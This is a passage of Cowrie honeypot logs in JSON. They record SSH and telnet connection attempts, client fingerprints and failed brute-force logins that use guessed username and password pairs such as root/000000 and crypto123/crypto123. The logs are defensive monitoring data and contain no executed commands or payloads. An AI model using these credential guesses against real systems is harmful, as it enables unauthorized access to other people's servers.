16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:33:20.993015Z","src_ip":"166.62.89.133","session":"ca0eb86634a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"satoshi456","message":"login attempt [root/satoshi456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:33:21.190463Z","src_ip":"166.62.89.133","session":"ca0eb86634a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:33:22.258967Z","src_ip":"166.62.89.133","session":"ca0eb86634a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.4.137","src_port":40110,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ec72fabc3d4","protocol":"ssh","message":"New connection: 139.59.4.137:40110 (159.203.135.109:22) [session: 2ec72fabc3d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:33:30.587634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:33:30.591054Z","src_ip":"139.59.4.137","session":"2ec72fabc3d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:33:30.803929Z","src_ip":"139.59.4.137","session":"2ec72fabc3d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4561237890","message":"login attempt [root/4561237890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:33:31.673226Z","src_ip":"139.59.4.137","session":"2ec72fabc3d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:33:32.884341Z","src_ip":"139.59.4.137","session":"2ec72fabc3d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.794832944869995,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:33:33.318470Z","src_ip":"50.62.181.92","session":"c0d1821aa959","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":48750,"dst_ip":"159.203.135.109","dst_port":23,"session":"40e7324c828b","protocol":"telnet","message":"New connection: 137.184.5.188:48750 (159.203.135.109:23) [session: 40e7324c828b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:34:00.098620Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.234","src_port":45810,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccbce1f3be91","protocol":"ssh","message":"New connection: 80.94.92.234:45810 (10.17.0.5:22) [session: ccbce1f3be91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:34:01.875126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:34:02.460922Z","src_ip":"80.94.92.234","session":"ccbce1f3be91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:34:02.463563Z","src_ip":"80.94.92.234","session":"ccbce1f3be91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000000","message":"login attempt [root/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:34:06.067248Z","src_ip":"80.94.92.234","session":"ccbce1f3be91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:34:08.145785Z","src_ip":"80.94.92.234","session":"ccbce1f3be91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":52696,"dst_ip":"159.203.135.109","dst_port":23,"session":"e082a7779c74","protocol":"telnet","message":"New connection: 107.6.151.170:52696 (159.203.135.109:23) [session: e082a7779c74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:34:09.600091Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.156.185.61","src_port":59432,"dst_ip":"10.17.0.5","dst_port":22,"session":"270d08f8d58b","protocol":"ssh","message":"New connection: 87.156.185.61:59432 (10.17.0.5:22) [session: 270d08f8d58b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:34:15.510763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:34:15.514335Z","src_ip":"87.156.185.61","session":"270d08f8d58b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:34:15.624233Z","src_ip":"87.156.185.61","session":"270d08f8d58b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty23","message":"login attempt [root/qwerty23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:34:16.091648Z","src_ip":"87.156.185.61","session":"270d08f8d58b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:34:17.210016Z","src_ip":"87.156.185.61","session":"270d08f8d58b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.968456983566284,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:34:41.568431Z","src_ip":"107.6.151.170","session":"e082a7779c74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.08176255226135,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:34:45.180251Z","src_ip":"137.184.5.188","session":"40e7324c828b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":53258,"dst_ip":"159.203.135.109","dst_port":23,"session":"78a5a97f5369","protocol":"telnet","message":"New connection: 107.6.151.170:53258 (159.203.135.109:23) [session: 78a5a97f5369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:34:49.234315Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.4.137","src_port":55778,"dst_ip":"159.203.135.109","dst_port":22,"session":"e206011e1981","protocol":"ssh","message":"New connection: 139.59.4.137:55778 (159.203.135.109:22) [session: e206011e1981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:35:09.694384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:35:09.698238Z","src_ip":"139.59.4.137","session":"e206011e1981","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:35:09.907689Z","src_ip":"139.59.4.137","session":"e206011e1981","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABCDEF","message":"login attempt [root/ABCDEF] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:35:10.778497Z","src_ip":"139.59.4.137","session":"e206011e1981","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:35:11.990179Z","src_ip":"139.59.4.137","session":"e206011e1981","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":43280,"dst_ip":"159.203.135.109","dst_port":23,"session":"44c00fd529b6","protocol":"telnet","message":"New connection: 137.184.5.188:43280 (159.203.135.109:23) [session: 44c00fd529b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:36:28.232682Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.234","src_port":48974,"dst_ip":"10.17.0.5","dst_port":22,"session":"124802d80ed7","protocol":"ssh","message":"New connection: 80.94.92.234:48974 (10.17.0.5:22) [session: 124802d80ed7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:36:36.673994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:36:37.289621Z","src_ip":"80.94.92.234","session":"124802d80ed7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:36:37.292812Z","src_ip":"80.94.92.234","session":"124802d80ed7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:36:40.205081Z","src_ip":"80.94.92.234","session":"124802d80ed7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:36:41.842060Z","src_ip":"80.94.92.234","session":"124802d80ed7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.006676197052,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:36:49.240857Z","src_ip":"107.6.151.170","session":"78a5a97f5369","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.4.137","src_port":51242,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcffb2a8453c","protocol":"ssh","message":"New connection: 139.59.4.137:51242 (159.203.135.109:22) [session: dcffb2a8453c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:36:51.512388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:36:51.516257Z","src_ip":"139.59.4.137","session":"dcffb2a8453c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:36:51.722160Z","src_ip":"139.59.4.137","session":"dcffb2a8453c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":46896,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e5cbad6361b","protocol":"telnet","message":"New connection: 137.184.5.188:46896 (159.203.135.109:23) [session: 4e5cbad6361b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:36:51.884765Z"}
{"eventid":"cowrie.login.failed","username":"stserver","password":"stserver","message":"login attempt [stserver/stserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:36:52.582464Z","src_ip":"139.59.4.137","session":"dcffb2a8453c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:36:53.791985Z","src_ip":"139.59.4.137","session":"dcffb2a8453c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.95881462097168,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:36:59.191358Z","src_ip":"137.184.5.188","session":"44c00fd529b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.143.220","src_port":43174,"dst_ip":"10.17.0.5","dst_port":22,"session":"2969306da3da","protocol":"ssh","message":"New connection: 38.242.143.220:43174 (10.17.0.5:22) [session: 2969306da3da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:37:07.280870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:37:07.285191Z","src_ip":"38.242.143.220","session":"2969306da3da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:37:07.472209Z","src_ip":"38.242.143.220","session":"2969306da3da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crypto123","password":"crypto123","message":"login attempt [crypto123/crypto123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:37:07.915325Z","src_ip":"38.242.143.220","session":"2969306da3da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:37:09.045870Z","src_ip":"38.242.143.220","session":"2969306da3da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.373099088668823,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:37:22.257753Z","src_ip":"137.184.5.188","session":"4e5cbad6361b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":43898,"dst_ip":"159.203.135.109","dst_port":22,"session":"61527e007a7f","protocol":"ssh","message":"New connection: 80.66.85.226:43898 (159.203.135.109:22) [session: 61527e007a7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:37:52.554628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:37:52.557998Z","src_ip":"80.66.85.226","session":"61527e007a7f","protocol":"ssh"}
